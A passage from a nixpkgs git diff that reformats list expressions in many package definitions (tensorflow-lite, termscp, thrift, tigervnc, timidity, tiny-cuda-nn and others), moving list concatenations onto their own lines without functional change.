     "//tensorflow/lite/tools/benchmark:benchmark_model_performance_options"
   ];
 
-  bazelFlags =
-    [
-      "--config=opt"
-    ]
-    ++ lib.optionals (hostPlatform.system != buildPlatform.system) [
-      "--config=${bazelHostConfigName.${hostPlatform.system}}"
-    ];
+  bazelFlags = [
+    "--config=opt"
+  ]
+  ++ lib.optionals (hostPlatform.system != buildPlatform.system) [
+    "--config=${bazelHostConfigName.${hostPlatform.system}}"
+  ];
 
   bazelBuildFlags = [ "--cxxopt=--std=c++17" ];
 
diff --git a/pkgs/by-name/te/terminal-typeracer/package.nix b/pkgs/by-name/te/terminal-typeracer/package.nix
index 4e3e7e441369..e5f3aea81ca5 100644
--- a/pkgs/by-name/te/terminal-typeracer/package.nix
+++ b/pkgs/by-name/te/terminal-typeracer/package.nix
@@ -26,15 +26,14 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libgit2
-      openssl
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libgit2
+    openssl
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   OPENSSL_NO_VENDOR = 1;
   LIBGIT2_NO_VENDOR = 1;
diff --git a/pkgs/by-name/te/termscp/package.nix b/pkgs/by-name/te/termscp/package.nix
index a32508c59623..0fdf7c5f98ad 100644
--- a/pkgs/by-name/te/termscp/package.nix
+++ b/pkgs/by-name/te/termscp/package.nix
@@ -44,18 +44,17 @@ rustPlatform.buildRustPackage rec {
   doInstallCheck = true;
 
   checkFeatures = [ "isolated-tests" ];
-  checkFlags =
-    [
-      # requires networking
-      "--skip=cli::remote::test::test_should_make_remote_args_from_one_bookmark_and_one_remote_with_local_dir"
-      "--skip=cli::remote::test::test_should_make_remote_args_from_two_bookmarks_and_local_dir"
-      "--skip=cli::remote::test::test_should_make_remote_args_from_two_remotes_and_local_dir"
-    ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
-      "--skip=system::watcher::test::should_poll_file_removed"
-      "--skip=system::watcher::test::should_poll_file_update"
-      "--skip=system::watcher::test::should_poll_nothing"
-    ];
+  checkFlags = [
+    # requires networking
+    "--skip=cli::remote::test::test_should_make_remote_args_from_one_bookmark_and_one_remote_with_local_dir"
+    "--skip=cli::remote::test::test_should_make_remote_args_from_two_bookmarks_and_local_dir"
+    "--skip=cli::remote::test::test_should_make_remote_args_from_two_remotes_and_local_dir"
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
+    "--skip=system::watcher::test::should_poll_file_removed"
+    "--skip=system::watcher::test::should_poll_file_update"
+    "--skip=system::watcher::test::should_poll_nothing"
+  ];
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/te/termusic/package.nix b/pkgs/by-name/te/termusic/package.nix
index 137551166f52..27c52d1f052e 100644
--- a/pkgs/by-name/te/termusic/package.nix
+++ b/pkgs/by-name/te/termusic/package.nix
@@ -36,18 +36,17 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      dbus
-      glib
-      gst_all_1.gstreamer
-      mpv-unwrapped
-      openssl
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    dbus
+    glib
+    gst_all_1.gstreamer
+    mpv-unwrapped
+    openssl
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   meta = {
     description = "Terminal Music Player TUI written in Rust";
diff --git a/pkgs/by-name/te/terra/package.nix b/pkgs/by-name/te/terra/package.nix
index 2d12834f7ce2..a34a0ea1421c 100644
--- a/pkgs/by-name/te/terra/package.nix
+++ b/pkgs/by-name/te/terra/package.nix
@@ -54,15 +54,14 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [
-      llvmMerged
-      ncurses
-      libffi
-      libxml2
-    ]
-    ++ lib.optionals enableCUDA [ cuda ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) libpfm;
+  buildInputs = [
+    llvmMerged
+    ncurses
+    libffi
+    libxml2
+  ]
+  ++ lib.optionals enableCUDA [ cuda ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) libpfm;
 
   cmakeFlags =
     let
diff --git a/pkgs/by-name/te/test-drive/package.nix b/pkgs/by-name/te/test-drive/package.nix
index 0d38269587a4..71c7634c8808 100644
--- a/pkgs/by-name/te/test-drive/package.nix
+++ b/pkgs/by-name/te/test-drive/package.nix
@@ -19,15 +19,14 @@ stdenv.mkDerivation rec {
     hash = "sha256-xRx8ErIN9xjxZt/nEsdIQkIGFRltuELdlI8lXA+M030=";
   };
 
-  nativeBuildInputs =
-    [
-      gfortran
-      meson
-      ninja
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    gfortran
+    meson
+    ninja
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   mesonAutoFeatures = "auto";
 
diff --git a/pkgs/by-name/te/tev/package.nix b/pkgs/by-name/te/tev/package.nix
index 4fe472b6affc..33832c7cb6c4 100644
--- a/pkgs/by-name/te/tev/package.nix
+++ b/pkgs/by-name/te/tev/package.nix
@@ -28,21 +28,20 @@ stdenv.mkDerivation rec {
     cmake
     wrapGAppsHook3
   ];
-  buildInputs =
-    [
-      libX11
-      libzip
-      glfw
-      libpng
-    ]
-    ++ (with xorg; [
-      libXrandr
-      libXinerama
-      libXcursor
-      libXi
-      libXxf86vm
-      libXext
-    ]);
+  buildInputs = [
+    libX11
+    libzip
+    glfw
+    libpng
+  ]
+  ++ (with xorg; [
+    libXrandr
+    libXinerama
+    libXcursor
+    libXi
+    libXxf86vm
+    libXext
+  ]);
 
   dontWrapGApps = true; # We also need zenity (see below)
 
diff --git a/pkgs/by-name/te/tevent/package.nix b/pkgs/by-name/te/tevent/package.nix
index 93e9c59c7b54..a8abe7a2c123 100644
--- a/pkgs/by-name/te/tevent/package.nix
+++ b/pkgs/by-name/te/tevent/package.nix
@@ -52,15 +52,14 @@ stdenv.mkDerivation rec {
 
   wafPath = "buildtools/bin/waf";
 
-  wafConfigureFlags =
-    [
-      "--bundled-libraries=NONE"
-      "--builtin-libraries=replace"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--cross-compile"
-      "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
-    ];
+  wafConfigureFlags = [
+    "--bundled-libraries=NONE"
+    "--builtin-libraries=replace"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--cross-compile"
+    "--cross-execute=${stdenv.hostPlatform.emulator buildPackages}"
+  ];
 
   # python-config from build Python gives incorrect values when cross-compiling.
   # If python-config is not found, the build falls back to using the sysconfig
diff --git a/pkgs/by-name/te/texstudio/package.nix b/pkgs/by-name/te/texstudio/package.nix
index 919c98116894..25fac4155242 100644
--- a/pkgs/by-name/te/texstudio/package.nix
+++ b/pkgs/by-name/te/texstudio/package.nix
@@ -26,20 +26,19 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.wrapQtAppsHook
     pkg-config
   ];
-  buildInputs =
-    [
-      hunspell
-      qt6.qt5compat
-      qt6.qtbase
-      qt6.qtsvg
-      qt6.qttools
-      qt6Packages.poppler
-      qt6Packages.quazip
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    hunspell
+    qt6.qt5compat
+    qt6.qtbase
+    qt6.qtsvg
+    qt6.qttools
+    qt6Packages.poppler
+    qt6Packages.quazip
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6.qtwayland
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     mkdir -p "$out/Applications"
diff --git a/pkgs/by-name/te/textadept/package.nix b/pkgs/by-name/te/textadept/package.nix
index 44632c5797dd..c9e63785dae5 100644
--- a/pkgs/by-name/te/textadept/package.nix
+++ b/pkgs/by-name/te/textadept/package.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation (finalAttrs: {
       "-DQT=OFF"
     ];
 
-  preConfigure =
-    ''
-      mkdir -p $PWD/build/_deps
+  preConfigure = ''
+    mkdir -p $PWD/build/_deps
 
-    ''
-    + lib.concatStringsSep "\n" (
-      lib.mapAttrsToList (
-        name: params: "ln -s ${fetchurl params} $PWD/build/_deps/${name}"
-      ) (import ./deps.nix)
-    );
+  ''
+  + lib.concatStringsSep "\n" (
+    lib.mapAttrsToList (
+      name: params: "ln -s ${fetchurl params} $PWD/build/_deps/${name}"
+    ) (import ./deps.nix)
+  );
 
   meta = {
     description = "Extensible text editor based on Scintilla with Lua scripting";
diff --git a/pkgs/by-name/te/textlint/package.nix b/pkgs/by-name/te/textlint/package.nix
index 64602e0ad462..d6ae834c533b 100644
--- a/pkgs/by-name/te/textlint/package.nix
+++ b/pkgs/by-name/te/textlint/package.nix
@@ -46,16 +46,15 @@ buildNpmPackage rec {
 
   npmDepsHash = "sha256-l+1JntqIPttuYXKsVEdJOB1qQfsoheZk+7Z7OJ67z5E=";
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      # File "/build/source/node_modules/node-gyp/gyp/gyp_main.py", line 42, in <module>
-      # npm error ModuleNotFoundError: No module named 'distutils'
-      python311
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    # File "/build/source/node_modules/node-gyp/gyp/gyp_main.py", line 42, in <module>
+    # npm error ModuleNotFoundError: No module named 'distutils'
+    python311
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/th/thc-hydra/package.nix b/pkgs/by-name/th/thc-hydra/package.nix
index 5d974aa26ddf..4492466a5e1a 100644
--- a/pkgs/by-name/th/thc-hydra/package.nix
+++ b/pkgs/by-name/th/thc-hydra/package.nix
@@ -58,7 +58,8 @@ stdenv.mkDerivation rec {
     libmysqlclient
     libpq
     samba
-  ] ++ lib.optional withGUI gtk2;
+  ]
+  ++ lib.optional withGUI gtk2;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/th/the-powder-toy/package.nix b/pkgs/by-name/th/the-powder-toy/package.nix
index 4f05c970dfcb..34bb72c9f55e 100644
--- a/pkgs/by-name/th/the-powder-toy/package.nix
+++ b/pkgs/by-name/th/the-powder-toy/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
     ninja
     pkg-config
     python3
-  ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
     bzip2
diff --git a/pkgs/by-name/th/thefuck/package.nix b/pkgs/by-name/th/thefuck/package.nix
index 69214db315cc..3a9e1eea60c2 100644
--- a/pkgs/by-name/th/thefuck/package.nix
+++ b/pkgs/by-name/th/thefuck/package.nix
@@ -25,13 +25,14 @@ python311Packages.buildPythonApplication rec {
     six
   ];
 
-  nativeCheckInputs =
-    [ go ]
-    ++ (with python311Packages; [
-      mock
-      pytest7CheckHook
-      pytest-mock
-    ]);
+  nativeCheckInputs = [
+    go
+  ]
+  ++ (with python311Packages; [
+    mock
+    pytest7CheckHook
+    pytest-mock
+  ]);
 
   disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
     "test_settings_defaults"
diff --git a/pkgs/by-name/th/thelounge/package.nix b/pkgs/by-name/th/thelounge/package.nix
index 2c0114da11c1..ad8e620590ad 100644
--- a/pkgs/by-name/th/thelounge/package.nix
+++ b/pkgs/by-name/th/thelounge/package.nix
@@ -47,7 +47,8 @@ stdenv.mkDerivation (finalAttrs: {
     fixup-yarn-lock
     python311
     npmHooks.npmInstallHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
   buildInputs = [ sqlite ];
 
   configurePhase = ''
diff --git a/pkgs/by-name/th/thinkfan/package.nix b/pkgs/by-name/th/thinkfan/package.nix
index 6d7360a69f30..7045c9616472 100644
--- a/pkgs/by-name/th/thinkfan/package.nix
+++ b/pkgs/by-name/th/thinkfan/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
     "-DUSE_NVML=OFF"
     # force install unit files
     "-DSYSTEMD_FOUND=ON"
-  ] ++ lib.optional smartSupport "-DUSE_ATASMART=ON";
+  ]
+  ++ lib.optional smartSupport "-DUSE_ATASMART=ON";
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/th/thonny/package.nix b/pkgs/by-name/th/thonny/package.nix
index e47e8d6d16ed..6d2ccd1ec4fa 100644
--- a/pkgs/by-name/th/thonny/package.nix
+++ b/pkgs/by-name/th/thonny/package.nix
@@ -23,7 +23,8 @@ buildPythonApplication rec {
 
   nativeBuildInputs = [
     copyDesktopItems
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/th/thrift/package.nix b/pkgs/by-name/th/thrift/package.nix
index bfa5fef27ec1..574c028e463d 100644
--- a/pkgs/by-name/th/thrift/package.nix
+++ b/pkgs/by-name/th/thrift/package.nix
@@ -28,18 +28,17 @@ stdenv.mkDerivation rec {
   # pythonFull.buildEnv.override { extraLibs = [ thrift ]; }
   pythonPath = [ ];
 
-  nativeBuildInputs =
-    [
-      bison
-      cmake
-      flex
-      pkg-config
-      python3
-      python3.pkgs.setuptools
-    ]
-    ++ lib.optionals (!static) [
-      python3.pkgs.twisted
-    ];
+  nativeBuildInputs = [
+    bison
+    cmake
+    flex
+    pkg-config
+    python3
+    python3.pkgs.setuptools
+  ]
+  ++ lib.optionals (!static) [
+    python3.pkgs.twisted
+  ];
 
   buildInputs = [
     boost
@@ -93,45 +92,43 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_JAVASCRIPT:BOOL=OFF"
-      "-DBUILD_NODEJS:BOOL=OFF"
+  cmakeFlags = [
+    "-DBUILD_JAVASCRIPT:BOOL=OFF"
+    "-DBUILD_NODEJS:BOOL=OFF"
 
-      # FIXME: Fails to link in static mode with undefined reference to
-      # `boost::unit_test::unit_test_main(bool (*)(), int, char**)'
-      "-DBUILD_TESTING:BOOL=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals static [
-      "-DWITH_STATIC_LIB:BOOL=ON"
-      "-DOPENSSL_USE_STATIC_LIBS=ON"
-    ];
+    # FIXME: Fails to link in static mode with undefined reference to
+    # `boost::unit_test::unit_test_main(bool (*)(), int, char**)'
+    "-DBUILD_TESTING:BOOL=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals static [
+    "-DWITH_STATIC_LIB:BOOL=ON"
+    "-DOPENSSL_USE_STATIC_LIBS=ON"
+  ];
 
-  disabledTests =
-    [
-      "PythonTestSSLSocket"
-      "PythonThriftTNonblockingServer"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Tests that hang up in the Darwin sandbox
-      "SecurityTest"
-      "SecurityFromBufferTest"
-      "python_test"
+  disabledTests = [
+    "PythonTestSSLSocket"
+    "PythonThriftTNonblockingServer"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Tests that hang up in the Darwin sandbox
+    "SecurityTest"
+    "SecurityFromBufferTest"
+    "python_test"
 
-      # fails on hydra, passes locally
-      "concurrency_test"
+    # fails on hydra, passes locally
+    "concurrency_test"
 
-      # Tests that fail in the Darwin sandbox when trying to use network
-      "UnitTests"
-      "TInterruptTest"
-      "TServerIntegrationTest"
-      "processor"
-      "TNonblockingServerTest"
-      "TNonblockingSSLServerTest"
-      "StressTest"
-      "StressTestConcurrent"
-      "StressTestNonBlocking"
-    ];
+    # Tests that fail in the Darwin sandbox when trying to use network
+    "UnitTests"
+    "TInterruptTest"
+    "TServerIntegrationTest"
+    "processor"
+    "TNonblockingServerTest"
+    "TNonblockingSSLServerTest"
+    "StressTest"
+    "StressTestConcurrent"
+    "StressTestNonBlocking"
+  ];
 
   doCheck = !static;
 
diff --git a/pkgs/by-name/ti/tig/package.nix b/pkgs/by-name/ti/tig/package.nix
index 4926e7afeb63..30d34c94c019 100644
--- a/pkgs/by-name/ti/tig/package.nix
+++ b/pkgs/by-name/ti/tig/package.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation rec {
     ncurses
     readline
     git
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   # those files are inherently impure, we'll handle the corresponding dependencies.
   postPatch = ''
diff --git a/pkgs/by-name/ti/tigerbeetle/package.nix b/pkgs/by-name/ti/tigerbeetle/package.nix
index f66badc70448..770b9524d1dc 100644
--- a/pkgs/by-name/ti/tigerbeetle/package.nix
+++ b/pkgs/by-name/ti/tigerbeetle/package.nix
@@ -56,7 +56,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     platforms = [
       "x86_64-linux"
       "aarch64-linux"
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
     mainProgram = "tigerbeetle";
   };
diff --git a/pkgs/by-name/ti/tigervnc/package.nix b/pkgs/by-name/ti/tigervnc/package.nix
index 92853c15b8ed..2b0a80c96325 100644
--- a/pkgs/by-name/ti/tigervnc/package.nix
+++ b/pkgs/by-name/ti/tigervnc/package.nix
@@ -132,57 +132,55 @@ stdenv.mkDerivation rec {
       chmod +x $out/bin/vncviewer
     '';
 
-  buildInputs =
+  buildInputs = [
+    fltk
+    gnutls
+    libjpeg_turbo
+    pixman
+    gawk
+    ffmpeg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux (
+    with xorg;
     [
-      fltk
-      gnutls
-      libjpeg_turbo
-      pixman
-      gawk
-      ffmpeg
+      nettle
+      pam
+      perl
+      xorgproto
+      utilmacros
+      libXtst
+      libXext
+      libX11
+      libXext
+      libICE
+      libXi
+      libSM
+      libXft
+      libxkbfile
+      libXfont2
+      libpciaccess
+      libGLU
+      libXrandr
+      libXdamage
     ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux (
-      with xorg;
-      [
-        nettle
-        pam
-        perl
-        xorgproto
-        utilmacros
-        libXtst
-        libXext
-        libX11
-        libXext
-        libICE
-        libXi
-        libSM
-        libXft
-        libxkbfile
-        libXfont2
-        libpciaccess
-        libGLU
-        libXrandr
-        libXdamage
-      ]
-      ++ xorg.xorgserver.buildInputs
-    );
+    ++ xorg.xorgserver.buildInputs
+  );
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    gettext
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux (
+    with xorg;
     [
-      cmake
-      gettext
+      fontutil
+      libtool
+      makeWrapper
+      utilmacros
+      zlib
     ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux (
-      with xorg;
-      [
-        fontutil
-        libtool
-        makeWrapper
-        utilmacros
-        zlib
-      ]
-      ++ xorg.xorgserver.nativeBuildInputs
-    );
+    ++ xorg.xorgserver.nativeBuildInputs
+  );
 
   propagatedBuildInputs = lib.optional stdenv.hostPlatform.isLinux xorg.xorgserver.propagatedBuildInputs;
 
diff --git a/pkgs/by-name/ti/tiledb/package.nix b/pkgs/by-name/ti/tiledb/package.nix
index 5454d074713a..27db3bd556bd 100644
--- a/pkgs/by-name/ti/tiledb/package.nix
+++ b/pkgs/by-name/ti/tiledb/package.nix
@@ -65,7 +65,8 @@ stdenv.mkDerivation rec {
     # https://github.com/NixOS/nixpkgs/issues/144170
     "-DCMAKE_INSTALL_INCLUDEDIR=include"
     "-DCMAKE_INSTALL_LIBDIR=lib"
-  ] ++ lib.optional (!useAVX2) "-DCOMPILER_SUPPORTS_AVX2=FALSE";
+  ]
+  ++ lib.optional (!useAVX2) "-DCOMPILER_SUPPORTS_AVX2=FALSE";
 
   nativeBuildInputs = [
     catch2
@@ -73,7 +74,8 @@ stdenv.mkDerivation rec {
     cmake
     python3
     doxygen
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   buildInputs = [
     zlib
diff --git a/pkgs/by-name/ti/timeloop/package.nix b/pkgs/by-name/ti/timeloop/package.nix
index 627773ef7b9a..a8c83a5f1283 100644
--- a/pkgs/by-name/ti/timeloop/package.nix
+++ b/pkgs/by-name/ti/timeloop/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
     yaml-cpp
     ncurses
     accelergy
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ gpm ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gpm ];
 
   preConfigure = ''
     cp -r ./pat-public/src/pat ./src/pat
@@ -42,39 +43,38 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  postPatch =
-    ''
-      # Fix gcc-13 build failure due to missing includes:
-      sed -e '1i #include <cstdint>' -i \
-        include/compound-config/compound-config.hpp
+  postPatch = ''
+    # Fix gcc-13 build failure due to missing includes:
+    sed -e '1i #include <cstdint>' -i \
+      include/compound-config/compound-config.hpp
 
-      # use nix ar/ranlib
-      substituteInPlace ./SConstruct \
-        --replace-fail "env.Replace(AR = \"gcc-ar\")" "pass" \
-        --replace-fail "env.Replace(RANLIB = \"gcc-ranlib\")" "pass"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # prevent clang from dying on errors that gcc is fine with
-      substituteInPlace ./src/SConscript --replace "-Werror" "-Wno-inconsistent-missing-override"
+    # use nix ar/ranlib
+    substituteInPlace ./SConstruct \
+      --replace-fail "env.Replace(AR = \"gcc-ar\")" "pass" \
+      --replace-fail "env.Replace(RANLIB = \"gcc-ranlib\")" "pass"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # prevent clang from dying on errors that gcc is fine with
+    substituteInPlace ./src/SConscript --replace "-Werror" "-Wno-inconsistent-missing-override"
 
-      # disable LTO on macos
-      substituteInPlace ./src/SConscript --replace ", '-flto'" ""
+    # disable LTO on macos
+    substituteInPlace ./src/SConscript --replace ", '-flto'" ""
 
-      # static builds on mac fail as no static libcrt is provided by apple
-      # see https://stackoverflow.com/questions/3801011/ld-library-not-found-for-lcrt0-o-on-osx-10-6-with-gcc-clang-static-flag
-      substituteInPlace ./src/SConscript \
-        --replace "'-static-libgcc', " "" \
-        --replace "'-static-libstdc++', " "" \
-        --replace "'-Wl,--whole-archive', '-static', " "" \
-        --replace ", '-Wl,--no-whole-archive'" ""
+    # static builds on mac fail as no static libcrt is provided by apple
+    # see https://stackoverflow.com/questions/3801011/ld-library-not-found-for-lcrt0-o-on-osx-10-6-with-gcc-clang-static-flag
+    substituteInPlace ./src/SConscript \
+      --replace "'-static-libgcc', " "" \
+      --replace "'-static-libstdc++', " "" \
+      --replace "'-Wl,--whole-archive', '-static', " "" \
+      --replace ", '-Wl,--no-whole-archive'" ""
 
-      #remove hardcoding of gcc
-      sed -i '40i env.Replace(CC = "${stdenv.cc.targetPrefix}cc")' ./SConstruct
-      sed -i '40i env.Replace(CXX = "${stdenv.cc.targetPrefix}c++")' ./SConstruct
+    #remove hardcoding of gcc
+    sed -i '40i env.Replace(CC = "${stdenv.cc.targetPrefix}cc")' ./SConstruct
+    sed -i '40i env.Replace(CXX = "${stdenv.cc.targetPrefix}c++")' ./SConstruct
 
-      #gpm doesn't exist on darwin
-      substituteInPlace ./src/SConscript --replace ", 'gpm'" ""
-    '';
+    #gpm doesn't exist on darwin
+    substituteInPlace ./src/SConscript --replace ", 'gpm'" ""
+  '';
 
   sconsFlags =
     # will fail on clang/darwin on link without --static due to undefined extern
diff --git a/pkgs/by-name/ti/timidity/package.nix b/pkgs/by-name/ti/timidity/package.nix
index 68d5a23b3474..00e00b5558ce 100644
--- a/pkgs/by-name/ti/timidity/package.nix
+++ b/pkgs/by-name/ti/timidity/package.nix
@@ -36,55 +36,52 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libjack2
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals enableVorbis [
-      libvorbis
-    ];
+  buildInputs = [
+    libjack2
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals enableVorbis [
+    libvorbis
+  ];
 
-  enabledOutputModes =
-    [
-      "jack"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "oss"
-      "alsa"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "darwin"
-    ]
-    ++ lib.optionals enableVorbis [
-      "vorbis"
-    ];
+  enabledOutputModes = [
+    "jack"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "oss"
+    "alsa"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "darwin"
+  ]
+  ++ lib.optionals enableVorbis [
+    "vorbis"
+  ];
 
-  configureFlags =
-    [
-      "--enable-ncurses"
-      ("--enable-audio=" + builtins.concatStringsSep "," enabledOutputModes)
-      "lib_cv_va_copy=yes"
-      "lib_cv___va_copy=yes"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-alsaseq"
-      "--with-default-output=alsa"
-      "lib_cv_va_val_copy=yes"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "lib_cv_va_val_copy=no"
-      "timidity_cv_ccoption_rdynamic=yes"
-      # These configure tests fail because of incompatible function pointer conversions.
-      "ac_cv_func_vprintf=yes"
-      "ac_cv_func_popen=yes"
-      "ac_cv_func_vsnprintf=yes"
-      "ac_cv_func_snprintf=yes"
-      "ac_cv_func_open_memstream=yes"
-    ];
+  configureFlags = [
+    "--enable-ncurses"
+    ("--enable-audio=" + builtins.concatStringsSep "," enabledOutputModes)
+    "lib_cv_va_copy=yes"
+    "lib_cv___va_copy=yes"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-alsaseq"
+    "--with-default-output=alsa"
+    "lib_cv_va_val_copy=yes"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "lib_cv_va_val_copy=no"
+    "timidity_cv_ccoption_rdynamic=yes"
+    # These configure tests fail because of incompatible function pointer conversions.
+    "ac_cv_func_vprintf=yes"
+    "ac_cv_func_popen=yes"
+    "ac_cv_func_vsnprintf=yes"
+    "ac_cv_func_snprintf=yes"
+    "ac_cv_func_open_memstream=yes"
+  ];
 
   makeFlags = [
     "AR=${stdenv.cc.targetPrefix}ar"
diff --git a/pkgs/by-name/ti/tiny-cuda-nn/package.nix b/pkgs/by-name/ti/tiny-cuda-nn/package.nix
index e2c2f75d13da..d5cf4d2d7285 100644
--- a/pkgs/by-name/ti/tiny-cuda-nn/package.nix
+++ b/pkgs/by-name/ti/tiny-cuda-nn/package.nix
@@ -67,33 +67,31 @@ stdenv.mkDerivation (finalAttrs: {
       "-std=c++14" "-std=c++17"
   '';
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    cuda-native-redist
+    ninja
+    which
+  ]
+  ++ lists.optionals pythonSupport (
+    with python3Packages;
     [
-      cmake
-      cuda-native-redist
-      ninja
-      which
+      pip
+      setuptools
+      wheel
     ]
-    ++ lists.optionals pythonSupport (
-      with python3Packages;
-      [
-        pip
-        setuptools
-        wheel
-      ]
-    );
+  );
 
-  buildInputs =
+  buildInputs = [
+    cuda-redist
+  ]
+  ++ lib.optionals pythonSupport (
+    with python3Packages;
     [
-      cuda-redist
+      pybind11
+      python
     ]
-    ++ lib.optionals pythonSupport (
-      with python3Packages;
-      [
-        pybind11
-        python
-      ]
-    );
+  );
 
   propagatedBuildInputs = lib.optionals pythonSupport (
     with python3Packages;
@@ -142,30 +140,29 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p "$out/lib"
-    ''
-    # Installing the C++ library just requires copying the static library to the output directory
-    + strings.optionalString (!pythonSupport) ''
-      cp libtiny-cuda-nn.a "$out/lib/"
-    ''
-    # Installing the python bindings requires building the wheel and installing it
-    + strings.optionalString pythonSupport ''
-      python -m pip install \
-        --no-build-isolation \
-        --no-cache-dir \
-        --no-deps \
-        --no-index \
-        --no-warn-script-location \
-        --prefix="$out" \
-        --verbose \
-        ./*.whl
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p "$out/lib"
+  ''
+  # Installing the C++ library just requires copying the static library to the output directory
+  + strings.optionalString (!pythonSupport) ''
+    cp libtiny-cuda-nn.a "$out/lib/"
+  ''
+  # Installing the python bindings requires building the wheel and installing it
+  + strings.optionalString pythonSupport ''
+    python -m pip install \
+      --no-build-isolation \
+      --no-cache-dir \
+      --no-deps \
